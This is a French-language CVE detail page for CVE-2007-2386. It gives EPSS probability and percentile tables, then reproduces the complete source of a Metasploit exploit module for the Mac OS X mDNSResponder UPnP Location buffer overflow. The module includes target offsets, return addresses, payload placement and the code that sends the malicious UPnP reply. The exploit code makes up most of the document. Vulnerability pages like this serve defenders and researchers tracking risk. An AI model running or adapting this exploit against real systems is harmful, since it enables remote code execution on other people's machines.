CVE-2007-2386 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	72.99%	–	–
2023-03-12	–	–	–	33.36%	–
2023-09-24	–	–	–	33.36%	–
2023-10-29	–	–	–	34.19%	–
2023-12-10	–	–	–	38.29%	–
2024-02-18	–	–	–	39.94%	–
2024-03-31	–	–	–	41.76%	–
2024-06-02	–	–	–	41.76%	–
2024-09-01	–	–	–	49.12%	–
2024-12-22	–	–	–	60.1%	–
2025-01-19	–	–	–	60.1%	–
2025-03-18	–	–	–	–	68.76%
2025-03-30	–	–	–	–	71.93%
2025-03-30	–	–	–	–	71.93,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	96%
2023-09-24	97%
2023-10-29	97%
2023-12-10	97%
2024-02-18	97%
2024-03-31	97%
2024-06-02	97%
2024-09-01	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # $Id: upnp_location.rb 11515 2011-01-08 01:12:15Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow', 'Description' => %q{ This module exploits a buffer overflow that occurs when processing specially crafted requests set to mDNSResponder. All Mac OS X systems between version 10.4 and 10.4.9 (without the 2007-005 patch) are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'ddz' ], 'Version' => '$Revision: 11515 $', 'References' => [ [ 'OSVDB', '35142' ], [ 'CVE', '2007-2386' ], [ 'BID', '24144' ], [ 'URL', 'http://support.apple.com/kb/TA24732' ] ], 'DefaultOptions' => { 'SRVPORT' => 1900, 'RPORT' => 0 }, 'Payload' => { 'BadChars' => "\x00\x3a\x2f", 'StackAdjustment' => 0, 'Space' => 468 }, 'Platform' => 'osx', 'Targets' => [ [ '10.4.8 x86', { # mDNSResponder-108.2 'Arch' => ARCH_X86, # Offset to mDNSStorage structure 'Offset' => 21000, 'Magic' => 0x8fe510a0, 'g_szRouterHostPortDesc' => 0x53dc0, } ], [ '10.4.0 PPC', { # mDNSResponder-107 'Arch' => ARCH_PPC, 'Offset' => 21000, 'Magic' => 0x8fe51f4c, 'Ret' => 0x8fe41af8, } ] ], 'DisclosureDate' => 'May 25 2007', 'DefaultTarget' => 1)) register_options( [ Opt::LHOST(), OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ]) ], self.class) @mutex = Mutex.new() @found_upnp_port = false @key_to_port = Hash.new() @upnp_port = 0 @client_socket = nil end def check # # TODO: Listen on two service ports, one a single character # shorter than the other (i.e 1900 and 19000). If the copy was # truncated by strlcpy, it will connect to the service listening # on the shorter port number. # upnp_port = scan_for_upnp_port() if (upnp_port > 0) return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unsupported end end def upnp_server(server) client = server.accept() request = client.readline() if (request =~ /GET \/([\da-f]+).xml/) @mutex.synchronize { @found_upnp_port = true @upnp_port = @key_to_port[$1] # Important: Keep the client connection open @client_socket = client } end end def scan_for_upnp_port @upnp_port = 0 @found_upnp_port = false upnp_port = 0 # XXX: Do this in a more Metasploit-y way server = TCPServer.open(1900) server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) } begin socket = Rex::Socket.create_udp upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'] puts "[*] Listening for UPNP requests on: #{upnp_location}" puts "[*] Sending UPNP Discovery replies..." i = 49152; while i < 65536 && @mutex.synchronize { @found_upnp_port == false } key = sprintf("%.2x%.2x%.2x%.2x%.2x", rand(255), rand(255), rand(255), rand(255), rand(255)) @mutex.synchronize { @key_to_port[key] = i } upnp_reply = "HTTP/1.1 200 Ok\r\n" + "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" + "USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" + "Location: #{upnp_location}/#{key}.xml\r\n\r\n" socket.sendto(upnp_reply, datastore['RHOST'], i) i += 1 end @mutex.synchronize { if (@found_upnp_port) upnp_port = @upnp_port end } ensure server.close server_thread.join end return upnp_port end def exploit # # It is very important that we scan for the upnp port. We must # receive the TCP connection and hold it open, otherwise the # code path that uses the overwritten function pointer most # likely won't be used. Holding this connection increases the # chance that the code path will be used dramatically. # upnp_port = scan_for_upnp_port() if upnp_port == 0 raise "Could not find listening UPNP UDP socket" end datastore['RPORT'] = upnp_port socket = connect_udp() if (target['Arch'] == ARCH_X86) space = "A" * target['Offset'] space[0, payload.encoded.length] = payload.encoded pattern = Rex::Text.pattern_create(47) pattern[20, 4] = [target['Magic']].pack('V') pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2] boom = space + pattern usn = "" elsif (target['Arch'] == ARCH_PPC) space = "A" * target['Offset'] pattern = Rex::Text.pattern_create(48) pattern[20, 4] = [target['Magic']].pack('N') # # r26, r27, r30, r31 point to g_szUSN+556 # Ret should be a branch to one of these registers # And we make sure to put our payload in the USN header # pattern[44, 4] = [target['Ret']].pack('N') boom = space + pattern # # Start payload at offset 556 within USN # usn = "A" * 556 + payload.encoded end upnp_reply = "HTTP/1.1 200 Ok\r\n" + "ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" + "USN: #{usn}\r\n" + "Location: http://#{boom}\r\n\r\n" puts "[*] Sending evil UPNP response" socket.put(upnp_reply) puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run" select(nil,nil,nil,10) handler() disconnect_udp() end end